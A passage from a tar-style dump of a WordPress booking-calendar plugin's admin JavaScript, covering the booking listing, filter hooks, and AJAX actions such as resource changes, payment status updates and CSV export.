'booking_resources' ] = json_booking_resources; jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) + ' .wpbc_selectable_body' ).append( list_row_tpl( p_val ) ); } ); console.groupEnd(); // LISTING_ROWS wpbc_define_gmail_checkbox_selection( jQuery ); // Redefine Hooks for clicking at Checkboxes } /** * Define template for changing booking resources & update it each time, when listing updating, useful for showing actual booking resources. * * @param json_items_arr - JSON object with Items * @param json_search_params - JSON object with Search * @param json_booking_resources - JSON object with Resources */ function wpbc_ajx_define_templates__resource_manipulation( json_items_arr, json_search_params, json_booking_resources ){ // Change booking resource var change_booking_resource_tpl = wp.template( 'wpbc_ajx_change_booking_resource' ); jQuery( '#wpbc_hidden_template__change_booking_resource' ).html( change_booking_resource_tpl( { 'ajx_search_params' : json_search_params, 'ajx_booking_resources': json_booking_resources } ) ); // Duplicate booking resource var duplicate_booking_to_other_resource_tpl = wp.template( 'wpbc_ajx_duplicate_booking_to_other_resource' ); jQuery( '#wpbc_hidden_template__duplicate_booking_to_other_resource' ).html( duplicate_booking_to_other_resource_tpl( { 'ajx_search_params' : json_search_params, 'ajx_booking_resources': json_booking_resources } ) ); } /** * Show just message instead of listing and hide pagination */ function wpbc_ajx_booking_show_message( message ){ wpbc_ajx_booking__actual_listing__hide(); jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '<div class="wpbc-settings-notice notice-warning" style="text-align:left">' + message + '</div>' ); } /** * H o o k s - its Action/Times when need to re-Render Views ----------------------------------------------- */ /** * Send Ajax Search Request after Updating search request parameters * * @param params_arr */ function wpbc_ajx_booking_send_search_request_with_params ( params_arr ){ // Define different Search parameters for request _.each( params_arr, function ( p_val, p_key, p_data ) { //console.log( 'Request for: ', p_key, p_val ); wpbc_ajx_booking_listing.search_set_param( p_key, p_val ); }); // Send Ajax Request wpbc_ajx_booking_ajax_search_request(); } /** * Search request for "Page Number" * @param page_number int */ function wpbc_ajx_booking_pagination_click( page_number ){ wpbc_ajx_booking_send_search_request_with_params( { 'page_num': page_number } ); } /** * Keyword Searching ----------------------------------------------------------------------------------------- */ /** * Search request for "Keyword", also set current page to 1 * * @param element_id - HTML ID of element, where was entered keyword */ function wpbc_ajx_booking_send_search_request_for_keyword( element_id ) { // We need to Reset page_num to 1 with each new search, because we can be at page #4, but after new search we can have totally only 1 page wpbc_ajx_booking_send_search_request_with_params( { 'keyword' : jQuery( element_id ).val(), 'page_num': 1 } ); } /** * Send search request after few seconds (usually after 1,5 sec) * Closure function. Its useful, for do not send too many Ajax requests, when someone make fast typing. */ var wpbc_ajx_booking_searching_after_few_seconds = function (){ var closed_timer = 0; return function ( element_id, timer_delay ){ // Get default value of "timer_delay", if parameter was not passed into the function. timer_delay = typeof timer_delay !== 'undefined' ? timer_delay : 1500; clearTimeout( closed_timer ); // Clear previous timer // Start new Timer closed_timer = setTimeout( wpbc_ajx_booking_send_search_request_for_keyword.bind( null, element_id ), timer_delay ); } }(); /** * Define Dynamic Hooks (like pagination click, which renew each time with new listing showing) ------------- */ /** * Define HTML ui Hooks: on KeyUp | Change | -> Sort Order & Number Items / Page * We are hcnaged it each time, when showing new listing, because DOM elements chnaged */ function wpbc_ajx_booking_define_ui_hooks(){ if ( 'function' === typeof( wpbc_define_tippy_tooltips ) ) { wpbc_define_tippy_tooltips( '.wpbc_listing_container ' ); } wpbc_ajx_booking__ui_define__locale(); wpbc_ajx_booking__ui_define__remark(); // Items Per Page jQuery( '.wpbc_items_per_page' ).on( 'change', function( event ){ wpbc_ajx_booking_send_search_request_with_params( { 'page_items_count' : jQuery( this ).val(), 'page_num': 1 } ); } ); // Sorting jQuery( '.wpbc_items_sort_type' ).on( 'change', function( event ){ wpbc_ajx_booking_send_search_request_with_params( {'sort_type': jQuery( this ).val()} ); } ); } /** * Show / Hide Listing --------------------------------------------------------------------------------------- */ /** * Show Listing Table - Sending Ajax Request - with parameters that we early defined in "wpbc_ajx_booking_listing" Obj. */ function wpbc_ajx_booking__actual_listing__show(){ wpbc_ajx_booking_ajax_search_request(); // Send Ajax Request - with parameters that we early defined in "wpbc_ajx_booking_listing" Obj. } /** * Hide Listing Table ( and Pagination ) */ function wpbc_ajx_booking__actual_listing__hide(){ jQuery( '.wpbc_ajx_under_toolbar_row' ).hide(); //FixIn: 9.6.1.5 jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '' ); jQuery( wpbc_ajx_booking_listing.get_other_param( 'pagination_container' ) ).html( '' ); } /** * Support functions for Content Template data --------------------------------------------------------------- */ /** * Highlight strings, * by inserting <span class="fieldvalue name fieldsearchvalue">...</span> html elements into the string. * @param {string} booking_details - Source string * @param {string} booking_keyword - Keyword to highlight * @returns {string} */ function wpbc_get_highlighted_search_keyword( booking_details, booking_keyword ){ booking_keyword = booking_keyword.trim().toLowerCase(); if ( 0 == booking_keyword.length ){ return booking_details; } // Highlight substring withing HTML tags in "Content of booking fields data" -- e.g. starting from > and ending with < let keywordRegex = new RegExp( `fieldvalue[^<>]*>([^<]*${booking_keyword}[^<]*)`, 'gim' ); //let matches = [...booking_details.toLowerCase().matchAll( keywordRegex )]; let matches = booking_details.toLowerCase().matchAll( keywordRegex ); matches = Array.from( matches ); let strings_arr = []; let pos_previous = 0; let search_pos_start; let search_pos_end; for ( const match of matches ){ search_pos_start = match.index + match[ 0 ].toLowerCase().indexOf( '>', 0 ) + 1 ; strings_arr.push( booking_details.substr( pos_previous, (search_pos_start - pos_previous) ) ); search_pos_end = booking_details.toLowerCase().indexOf( '<', search_pos_start ); strings_arr.push( '<span class="fieldvalue name fieldsearchvalue">' + booking_details.substr( search_pos_start, (search_pos_end - search_pos_start) ) + '</span>' ); pos_previous = search_pos_end; } strings_arr.push( booking_details.substr( pos_previous, (booking_details.length - pos_previous) ) ); return strings_arr.join( '' ); } /** * Convert special HTML characters from: & -> & * * @param text * @returns {*} */ function wpbc_decode_HTML_entities( text ){ var textArea = document.createElement( 'textarea' ); textArea.innerHTML = text; return textArea.value; } /** * Convert TO special HTML characters from: & -> & * * @param text * @returns {*} */ function wpbc_encode_HTML_entities(text) { var textArea = document.createElement('textarea'); textArea.innerText = text; return textArea.innerHTML; } /** * Support Functions - Spin Icon in Buttons ------------------------------------------------------------------ */ /** * Spin button in Filter toolbar - Start */ function wpbc_booking_listing_reload_button__spin_start(){ jQuery( '#wpbc_booking_listing_reload_button .menu_icon.wpbc_spin').removeClass( 'wpbc_animation_pause' ); } /** * Spin button in Filter toolbar - Pause */ function wpbc_booking_listing_reload_button__spin_pause(){ jQuery( '#wpbc_booking_listing_reload_button .menu_icon.wpbc_spin' ).addClass( 'wpbc_animation_pause' ); } /** * Spin button in Filter toolbar - is Spinning ? * * @returns {boolean} */ function wpbc_booking_listing_reload_button__is_spin(){ if ( jQuery( '#wpbc_booking_listing_reload_button .menu_icon.wpbc_spin' ).hasClass( 'wpbc_animation_pause' ) ){ return true; } else { return false; } } bookings__hooks.js 0000666 00000020006 15165577005 0010274 0 ustar 00 "use strict"; /** * Define HTML ui Hooks: on KeyUp | Change | -> Sort Order & Number Items / Page * * We are chnaged it once, because such elements always the same */ function wpbc_ajx_booking_define_ui_hooks_once(){ //------------------------------------------------------------------------------------------------------------------ // Booked dates //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_booking_date' ).on( 'change', function( event ){ var changed_value = JSON.parse( jQuery( '#wh_booking_date' ).val() ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_booking_date': changed_value, 'page_num' : 1, // Frontend selected elements (saving for future use, after F5) 'ui_wh_booking_date_radio' : jQuery( 'input[name="ui_wh_booking_date_radio"]:checked' ).val(), 'ui_wh_booking_date_next' : jQuery( '#ui_wh_booking_date_next' ).val(), 'ui_wh_booking_date_prior' : jQuery( '#ui_wh_booking_date_prior' ).val(), 'ui_wh_booking_date_checkin' : jQuery( '#ui_wh_booking_date_checkin' ).val(), 'ui_wh_booking_date_checkout': jQuery( '#ui_wh_booking_date_checkout' ).val() } ); } ); //------------------------------------------------------------------------------------------------------------------ // Approved | Pending | All //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_approved' ).on( 'change', function( event ){ var changed_value = jQuery( '#wh_approved' ).val(); changed_value = JSON.parse( changed_value ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_approved': changed_value[ 0 ], 'page_num' : 1 } ); } ); //------------------------------------------------------------------------------------------------------------------ // Keywords //------------------------------------------------------------------------------------------------------------------ jQuery( '#wpbc_search_field' ).on( "keyup", function ( event ){ if ( 13 !== event.which ){ wpbc_ajx_booking_searching_after_few_seconds( '#wpbc_search_field' ); // Searching after 1.5 seconds after Key Up } else { wpbc_ajx_booking_searching_after_few_seconds( '#wpbc_search_field', 0 ); // Immediate search } } ); //------------------------------------------------------------------------------------------------------------------ // Existing | Trash | Any //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_trash' ).on( 'change', function( event ){ var changed_value = JSON.parse( jQuery( '#wh_trash' ).val() ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_trash': changed_value[ 0 ], 'page_num': 1 } ); } ); //------------------------------------------------------------------------------------------------------------------ // All bookings | New bookings //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_what_bookings' ).on( 'change', function( event ){ var changed_value = JSON.parse( jQuery( '#wh_what_bookings' ).val() ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_what_bookings': changed_value[ 0 ], 'page_num': 1 } ); } ); //------------------------------------------------------------------------------------------------------------------ // "Creation Date" of bookings //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_modification_date' ).on( 'change', function( event ){ var changed_value = JSON.parse( jQuery( '#wh_modification_date' ).val() ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_modification_date': changed_value, 'page_num' : 1, // Frontend selected elements (saving for future use, after F5) 'ui_wh_modification_date_radio' : jQuery( 'input[name="ui_wh_modification_date_radio"]:checked' ).val(), 'ui_wh_modification_date_prior' : jQuery( '#ui_wh_modification_date_prior' ).val(), 'ui_wh_modification_date_checkin' : jQuery( '#ui_wh_modification_date_checkin' ).val(), 'ui_wh_modification_date_checkout': jQuery( '#ui_wh_modification_date_checkout' ).val() } ); } ); //------------------------------------------------------------------------------------------------------------------ // Payment Status //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_pay_status' ).on( 'change', function( event ){ var changed_value = JSON.parse( jQuery( '#wh_pay_status' ).val() ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_pay_status': changed_value, 'page_num' : 1, // Frontend selected elements (saving for future use, after F5) 'ui_wh_pay_status_radio' : ( ( undefined === jQuery( 'input[name="ui_wh_pay_status_radio"]:checked' ).val() ) ? '' : jQuery( 'input[name="ui_wh_pay_status_radio"]:checked' ).val() ), 'ui_wh_pay_status_custom': jQuery( '#ui_wh_pay_status_custom' ).val() } ); } ); //------------------------------------------------------------------------------------------------------------------ // Min Cost //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_cost' ).on( 'change', function( event ){ var changed_value = jQuery( '#wh_cost' ).val(); wpbc_ajx_booking_send_search_request_with_params( { 'wh_cost' : changed_value, 'page_num': 1 } ); } ); //------------------------------------------------------------------------------------------------------------------ // Max Cost //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_cost2' ).on( 'change', function( event ){ var changed_value = jQuery( '#wh_cost2' ).val(); wpbc_ajx_booking_send_search_request_with_params( { 'wh_cost2' : changed_value, 'page_num': 1 } ); } ); //------------------------------------------------------------------------------------------------------------------ // Booking resources //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_booking_type' ).on( 'change', function( event ){ var changed_value = jQuery( '#wh_booking_type' ).val(); // it's get as array if ( ( Array.isArray( changed_value ) ) && ( 0 === changed_value.length ) ){ changed_value = ['-1']; } wpbc_ajx_booking_send_search_request_with_params( { 'wh_booking_type' : changed_value, 'page_num': 1 } ); } ); //------------------------------------------------------------------------------------------------------------------ // Sorting //------------------------------------------------------------------------------------------------------------------ jQuery( '#wh_sort' ).on( 'change', function( event ){ var changed_value = jQuery( '#wh_sort' ).val(); changed_value = JSON.parse( changed_value ); wpbc_ajx_booking_send_search_request_with_params( { 'wh_sort': changed_value[ 0 ] } ); } ); } jQuery(document).ready(function(){ wpbc_ajx_booking_define_ui_hooks_once(); }); bookings__actions.js 0000666 00000051707 15165577005 0010625 0 ustar 00 "use strict"; /** * Ajax ----------------------------------------------------------------------------------------------------- */ //var is_this_action = false; /** * Send Ajax action request, like approving or cancellation * * @param action_param */ function wpbc_ajx_booking_ajax_action_request( action_param = {} ){ console.groupCollapsed( 'WPBC_AJX_BOOKING_ACTIONS' ); console.log( ' == Ajax Actions :: Params == ', action_param ); //is_this_action = true; wpbc_booking_listing_reload_button__spin_start(); // Get redefined Locale, if action on single booking ! if ( ( undefined != action_param[ 'booking_id' ] ) && ( ! Array.isArray( action_param[ 'booking_id' ] ) ) ){ // Not array action_param[ 'locale' ] = wpbc_get_selected_locale( action_param[ 'booking_id' ], wpbc_ajx_booking_listing.get_secure_param( 'locale' ) ); } var action_post_params = { action : 'WPBC_AJX_BOOKING_ACTIONS', nonce : wpbc_ajx_booking_listing.get_secure_param( 'nonce' ), wpbc_ajx_user_id: ( ( undefined == action_param[ 'user_id' ] ) ? wpbc_ajx_booking_listing.get_secure_param( 'user_id' ) : action_param[ 'user_id' ] ), wpbc_ajx_locale: ( ( undefined == action_param[ 'locale' ] ) ? wpbc_ajx_booking_listing.get_secure_param( 'locale' ) : action_param[ 'locale' ] ), action_params : action_param }; // It's required for CSV export - getting the same list of bookings if ( typeof action_param.search_params !== 'undefined' ){ action_post_params[ 'search_params' ] = action_param.search_params; delete action_post_params.action_params.search_params; } // Start Ajax jQuery.post( wpbc_url_ajax , action_post_params , /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-searcg.php * @param textStatus - 'success' * @param jqXHR - Object */ function ( response_data, textStatus, jqXHR ) { console.log( ' == Ajax Actions :: Response WPBC_AJX_BOOKING_ACTIONS == ', response_data ); console.groupEnd(); // Probably Error if ( (typeof response_data !== 'object') || (response_data === null) ){ jQuery( '.wpbc_ajx_under_toolbar_row' ).hide(); //FixIn: 9.6.1.5 jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '<div class="wpbc-settings-notice notice-warning" style="text-align:left">' + response_data + '</div>' ); return; } wpbc_booking_listing_reload_button__spin_pause(); wpbc_admin_show_message( response_data[ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ) , ( '1' == response_data[ 'ajx_after_action_result' ] ) ? 'success' : 'error' , ( ( 'undefined' === typeof(response_data[ 'ajx_after_action_result_all_params_arr' ][ 'after_action_result_delay' ]) ) ? 10000 : response_data[ 'ajx_after_action_result_all_params_arr' ][ 'after_action_result_delay' ] ) ); // Success response if ( '1' == response_data[ 'ajx_after_action_result' ] ){ var is_reload_ajax_listing = true; // After Google Calendar import show imported bookings and reload the page for toolbar parameters update if ( false !== response_data[ 'ajx_after_action_result_all_params_arr' ][ 'new_listing_params' ] ){ wpbc_ajx_booking_send_search_request_with_params( response_data[ 'ajx_after_action_result_all_params_arr' ][ 'new_listing_params' ] ); var closed_timer = setTimeout( function (){ if ( wpbc_booking_listing_reload_button__is_spin() ){ if ( undefined != response_data[ 'ajx_after_action_result_all_params_arr' ][ 'new_listing_params' ][ 'reload_url_params' ] ){ document.location.href = response_data[ 'ajx_after_action_result_all_params_arr' ][ 'new_listing_params' ][ 'reload_url_params' ]; } else { document.location.reload(); } } } , 2000 ); is_reload_ajax_listing = false; } // Start download exported CSV file if ( undefined != response_data[ 'ajx_after_action_result_all_params_arr' ][ 'export_csv_url' ] ){ wpbc_ajx_booking__export_csv_url__download( response_data[ 'ajx_after_action_result_all_params_arr' ][ 'export_csv_url' ] ); is_reload_ajax_listing = false; } if ( is_reload_ajax_listing ){ wpbc_ajx_booking__actual_listing__show(); // Sending Ajax Request - with parameters that we early defined in "wpbc_ajx_booking_listing" Obj. } } // Remove spin icon from button and Enable this button. wpbc_button__remove_spin( response_data[ 'ajx_cleaned_params' ][ 'ui_clicked_element_id' ] ) // Hide modals wpbc_popup_modals__hide(); jQuery( '#ajax_respond' ).html( response_data ); // For ability to show response, add such DIV element to page } ).fail( function ( jqXHR, textStatus, errorThrown ) { if ( window.console && window.console.log ){ console.log( 'Ajax_Error', jqXHR, textStatus, errorThrown ); } jQuery( '.wpbc_ajx_under_toolbar_row' ).hide(); //FixIn: 9.6.1.5 var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown ; if ( jqXHR.responseText ){ error_message += jqXHR.responseText; } error_message = error_message.replace( /\n/g, "<br />" ); wpbc_ajx_booking_show_message( error_message ); }) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax } /** * Hide all open modal popups windows */ function wpbc_popup_modals__hide(){ // Hide modals if ( 'function' === typeof (jQuery( '.wpbc_popup_modal' ).wpbc_my_modal) ){ jQuery( '.wpbc_popup_modal' ).wpbc_my_modal( 'hide' ); } } /** * Dates Short <-> Wide ----------------------------------------------------------------------------------- */ function wpbc_ajx_click_on_dates_short(){ jQuery( '#booking_dates_small,.booking_dates_full' ).hide(); jQuery( '#booking_dates_full,.booking_dates_small' ).show(); wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__dates_short_wide': 'short'} ); } function wpbc_ajx_click_on_dates_wide(){ jQuery( '#booking_dates_full,.booking_dates_small' ).hide(); jQuery( '#booking_dates_small,.booking_dates_full' ).show(); wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__dates_short_wide': 'wide'} ); } function wpbc_ajx_click_on_dates_toggle(this_date){ jQuery( this_date ).parents( '.wpbc_col_dates' ).find( '.booking_dates_small' ).toggle(); jQuery( this_date ).parents( '.wpbc_col_dates' ).find( '.booking_dates_full' ).toggle(); /* var visible_section = jQuery( this_date ).parents( '.booking_dates_expand_section' ); visible_section.hide(); if ( visible_section.hasClass( 'booking_dates_full' ) ){ visible_section.parents( '.wpbc_col_dates' ).find( '.booking_dates_small' ).show(); } else { visible_section.parents( '.wpbc_col_dates' ).find( '.booking_dates_full' ).show(); }*/ console.log( 'wpbc_ajx_click_on_dates_toggle', this_date ); } /** * Locale --------------------------------------------------------------------------------------------------- */ /** * Select options in select boxes based on attribute "value_of_selected_option" and RED color and hint for LOCALE button -- It's called from wpbc_ajx_booking_define_ui_hooks() each time after Listing loading. */ function wpbc_ajx_booking__ui_define__locale(){ jQuery( '.wpbc_listing_container select' ).each( function ( index ){ var selection = jQuery( this ).attr( "value_of_selected_option" ); // Define selected select boxes if ( undefined !== selection ){ jQuery( this ).find( 'option[value="' + selection + '"]' ).prop( 'selected', true ); if ( ('' != selection) && (jQuery( this ).hasClass( 'set_booking_locale_selectbox' )) ){ // Locale var booking_locale_button = jQuery( this ).parents( '.ui_element_locale' ).find( '.set_booking_locale_button' ) //booking_locale_button.css( 'color', '#db4800' ); // Set button red booking_locale_button.addClass( 'wpbc_ui_red' ); // Set button red if ( 'function' === typeof( wpbc_tippy ) ){ booking_locale_button.get(0)._tippy.setContent( selection ); } } } } ); } /** * Remark --------------------------------------------------------------------------------------------------- */ /** * Define content of remark "booking note" button and textarea. -- It's called from wpbc_ajx_booking_define_ui_hooks() each time after Listing loading. */ function wpbc_ajx_booking__ui_define__remark(){ jQuery( '.wpbc_listing_container .ui_remark_section textarea' ).each( function ( index ){ var text_val = jQuery( this ).val(); if ( (undefined !== text_val) && ('' != text_val) ){ var remark_button = jQuery( this ).parents( '.ui_group' ).find( '.set_booking_note_button' ); if ( remark_button.length > 0 ){ remark_button.addClass( 'wpbc_ui_red' ); // Set button red if ( 'function' === typeof (wpbc_tippy) ){ //remark_button.get( 0 )._tippy.allowHTML = true; //remark_button.get( 0 )._tippy.setContent( text_val.replace(/[\n\r]/g, '<br>') ); remark_button.get( 0 )._tippy.setProps( { allowHTML: true, content : text_val.replace( /[\n\r]/g, '<br>' ) } ); } } } } ); } /** * Actions ,when we click on "Remark" button. * * @param jq_button - this jQuery button object */ function wpbc_ajx_booking__ui_click__remark( jq_button ){ jq_button.parents('.ui_group').find('.ui_remark_section').toggle(); } /** * Change booking resource ---------------------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click_show__change_resource( booking_id, resource_id ){ // Define ID of booking to hidden input jQuery( '#change_booking_resource__booking_id' ).val( booking_id ); // Select booking resource that belong to booking jQuery( '#change_booking_resource__resource_select' ).val( resource_id ).trigger( 'change' ); var cbr; // Get Resource section cbr = jQuery( "#change_booking_resource__section" ).detach(); // Append it to booking ROW cbr.appendTo( jQuery( "#ui__change_booking_resource__section_in_booking_" + booking_id ) ); cbr = null; // Hide sections of "Change booking resource" in all other bookings ROWs //jQuery( ".ui__change_booking_resource__section_in_booking" ).hide(); if ( ! jQuery( "#ui__change_booking_resource__section_in_booking_" + booking_id ).is(':visible') ){ jQuery( ".ui__under_actions_row__section_in_booking" ).hide(); } // Show only "change booking resource" section for current booking jQuery( "#ui__change_booking_resource__section_in_booking_" + booking_id ).toggle(); } function wpbc_ajx_booking__ui_click_save__change_resource( this_el, booking_action, el_id ){ wpbc_ajx_booking_ajax_action_request( { 'booking_action' : booking_action, 'booking_id' : jQuery( '#change_booking_resource__booking_id' ).val(), 'selected_resource_id' : jQuery( '#change_booking_resource__resource_select' ).val(), 'ui_clicked_element_id': el_id } ); wpbc_button_enable_loading_icon( this_el ); // wpbc_ajx_booking__ui_click_close__change_resource(); } function wpbc_ajx_booking__ui_click_close__change_resource(){ var cbrce; // Get Resource section cbrce = jQuery("#change_booking_resource__section").detach(); // Append it to hidden HTML template section at the bottom of the page cbrce.appendTo(jQuery("#wpbc_hidden_template__change_booking_resource")); cbrce = null; // Hide all change booking resources sections jQuery(".ui__change_booking_resource__section_in_booking").hide(); } /** * Duplicate booking in other resource ---------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click_show__duplicate_booking( booking_id, resource_id ){ // Define ID of booking to hidden input jQuery( '#duplicate_booking_to_other_resource__booking_id' ).val( booking_id ); // Select booking resource that belong to booking jQuery( '#duplicate_booking_to_other_resource__resource_select' ).val( resource_id ).trigger( 'change' ); var cbr; // Get Resource section cbr = jQuery( "#duplicate_booking_to_other_resource__section" ).detach(); // Append it to booking ROW cbr.appendTo( jQuery( "#ui__duplicate_booking_to_other_resource__section_in_booking_" + booking_id ) ); cbr = null; // Hide sections of "Duplicate booking" in all other bookings ROWs if ( ! jQuery( "#ui__duplicate_booking_to_other_resource__section_in_booking_" + booking_id ).is(':visible') ){ jQuery( ".ui__under_actions_row__section_in_booking" ).hide(); } // Show only "Duplicate booking" section for current booking ROW jQuery( "#ui__duplicate_booking_to_other_resource__section_in_booking_" + booking_id ).toggle(); } function wpbc_ajx_booking__ui_click_save__duplicate_booking( this_el, booking_action, el_id ){ wpbc_ajx_booking_ajax_action_request( { 'booking_action' : booking_action, 'booking_id' : jQuery( '#duplicate_booking_to_other_resource__booking_id' ).val(), 'selected_resource_id' : jQuery( '#duplicate_booking_to_other_resource__resource_select' ).val(), 'ui_clicked_element_id': el_id } ); wpbc_button_enable_loading_icon( this_el ); // wpbc_ajx_booking__ui_click_close__change_resource(); } function wpbc_ajx_booking__ui_click_close__duplicate_booking(){ var cbrce; // Get Resource section cbrce = jQuery("#duplicate_booking_to_other_resource__section").detach(); // Append it to hidden HTML template section at the bottom of the page cbrce.appendTo(jQuery("#wpbc_hidden_template__duplicate_booking_to_other_resource")); cbrce = null; // Hide all change booking resources sections jQuery(".ui__duplicate_booking_to_other_resource__section_in_booking").hide(); } /** * Change payment status ------------------------------------------------------------------------------------ */ function wpbc_ajx_booking__ui_click_show__set_payment_status( booking_id ){ var jSelect = jQuery( '#ui__set_payment_status__section_in_booking_' + booking_id ).find( 'select' ) var selected_pay_status = jSelect.attr( "ajx-selected-value" ); // Is it float - then it's unknown if ( !isNaN( parseFloat( selected_pay_status ) ) ){ jSelect.find( 'option[value="1"]' ).prop( 'selected', true ); // Unknown value is '1' in select box } else { jSelect.find( 'option[value="' + selected_pay_status + '"]' ).prop( 'selected', true ); // Otherwise known payment status } // Hide sections of "Change booking resource" in all other bookings ROWs if ( ! jQuery( "#ui__set_payment_status__section_in_booking_" + booking_id ).is(':visible') ){ jQuery( ".ui__under_actions_row__section_in_booking" ).hide(); } // Show only "change booking resource" section for current booking jQuery( "#ui__set_payment_status__section_in_booking_" + booking_id ).toggle(); } function wpbc_ajx_booking__ui_click_save__set_payment_status( booking_id, this_el, booking_action, el_id ){ wpbc_ajx_booking_ajax_action_request( { 'booking_action' : booking_action, 'booking_id' : booking_id, 'selected_payment_status' : jQuery( '#ui_btn_set_payment_status' + booking_id ).val(), 'ui_clicked_element_id': el_id + '_save' } ); wpbc_button_enable_loading_icon( this_el ); jQuery( '#' + el_id + '_cancel').hide(); //wpbc_button_enable_loading_icon( jQuery( '#' + el_id + '_cancel').get(0) ); } function wpbc_ajx_booking__ui_click_close__set_payment_status(){ // Hide all change payment status for booking jQuery(".ui__set_payment_status__section_in_booking").hide(); } /** * Change booking cost -------------------------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click_save__set_booking_cost( booking_id, this_el, booking_action, el_id ){ wpbc_ajx_booking_ajax_action_request( { 'booking_action' : booking_action, 'booking_id' : booking_id, 'booking_cost' : jQuery( '#ui_btn_set_booking_cost' + booking_id + '_cost').val(), 'ui_clicked_element_id': el_id + '_save' } ); wpbc_button_enable_loading_icon( this_el ); jQuery( '#' + el_id + '_cancel').hide(); //wpbc_button_enable_loading_icon( jQuery( '#' + el_id + '_cancel').get(0) ); } function wpbc_ajx_booking__ui_click_close__set_booking_cost(){ // Hide all change payment status for booking jQuery(".ui__set_booking_cost__section_in_booking").hide(); } /** * Send Payment request -------------------------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click__send_payment_request(){ wpbc_ajx_booking_ajax_action_request( { 'booking_action' : 'send_payment_request', 'booking_id' : jQuery( '#wpbc_modal__payment_request__booking_id').val(), 'reason_of_action' : jQuery( '#wpbc_modal__payment_request__reason_of_action').val(), 'ui_clicked_element_id': 'wpbc_modal__payment_request__button_send' } ); wpbc_button_enable_loading_icon( jQuery( '#wpbc_modal__payment_request__button_send' ).get( 0 ) ); } /** * Import Google Calendar ------------------------------------------------------------------------------------ */ function wpbc_ajx_booking__ui_click__import_google_calendar(){ wpbc_ajx_booking_ajax_action_request( { 'booking_action' : 'import_google_calendar', 'ui_clicked_element_id': 'wpbc_modal__import_google_calendar__button_send' , 'booking_gcal_events_from' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_from option:selected').val() , 'booking_gcal_events_from_offset' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_from_offset' ).val() , 'booking_gcal_events_from_offset_type' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_from_offset_type option:selected').val() , 'booking_gcal_events_until' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_until option:selected').val() , 'booking_gcal_events_until_offset' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_until_offset' ).val() , 'booking_gcal_events_until_offset_type' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_until_offset_type option:selected').val() , 'booking_gcal_events_max' : jQuery( '#wpbc_modal__import_google_calendar__section #booking_gcal_events_max' ).val() , 'booking_gcal_resource' : jQuery( '#wpbc_modal__import_google_calendar__section #wpbc_booking_resource option:selected').val() } ); wpbc_button_enable_loading_icon( jQuery( '#wpbc_modal__import_google_calendar__section #wpbc_modal__import_google_calendar__button_send' ).get( 0 ) ); } /** * Export bookings to CSV ------------------------------------------------------------------------------------ */ function wpbc_ajx_booking__ui_click__export_csv( params ){ var selected_booking_id_arr = wpbc_get_selected_row_id(); wpbc_ajx_booking_ajax_action_request( { 'booking_action' : params[ 'booking_action' ], 'ui_clicked_element_id' : params[ 'ui_clicked_element_id' ], 'export_type' : params[ 'export_type' ], 'csv_export_separator' : params[ 'csv_export_separator' ], 'csv_export_skip_fields': params[ 'csv_export_skip_fields' ], 'booking_id' : selected_booking_id_arr.join(','), 'search_params' : wpbc_ajx_booking_listing.search_get_all_params() } ); var this_el = jQuery( '#' + params[ 'ui_clicked_element_id' ] ).get( 0 ) wpbc_button_enable_loading_icon( this_el ); } /** * Open URL in new tab - mainly it's used for open CSV link for downloaded exported bookings as CSV * * @param export_csv_url */ function wpbc_ajx_booking__export_csv_url__download( export_csv_url ){ //var selected_booking_id_arr = wpbc_get_selected_row_id(); document.location.href = export_csv_url;// + '&selected_id=' + selected_booking_id_arr.join(','); // It's open additional dialog for asking opening ulr in new tab // window.open( export_csv_url, '_blank').focus(); } wpbc_all.js 0000666 00001341646 15165626106 0006720 0 ustar 00 /** * ===================================================================================================================== * JavaScript Util Functions ../includes/__js/utils/wpbc_utils.js * ===================================================================================================================== */ /** * Trim strings and array joined with (,) * * @param string_to_trim string / array * @returns string */ function wpbc_trim( string_to_trim ){ if ( Array.isArray( string_to_trim ) ){ string_to_trim = string_to_trim.join( ',' ); } if ( 'string' == typeof (string_to_trim) ){ string_to_trim = string_to_trim.trim(); } return string_to_trim; } /** * Check if element in array * * @param array_here array * @param p_val element to check * @returns {boolean} */ function wpbc_in_array( array_here, p_val ){ for ( var i = 0, l = array_here.length; i < l; i++ ){ if ( array_here[ i ] == p_val ){ return true; } } return false; } "use strict"; /** * ===================================================================================================================== * includes/__js/wpbc/wpbc.js * ===================================================================================================================== */ /** * Deep Clone of object or array * * @param obj * @returns {any} */ function 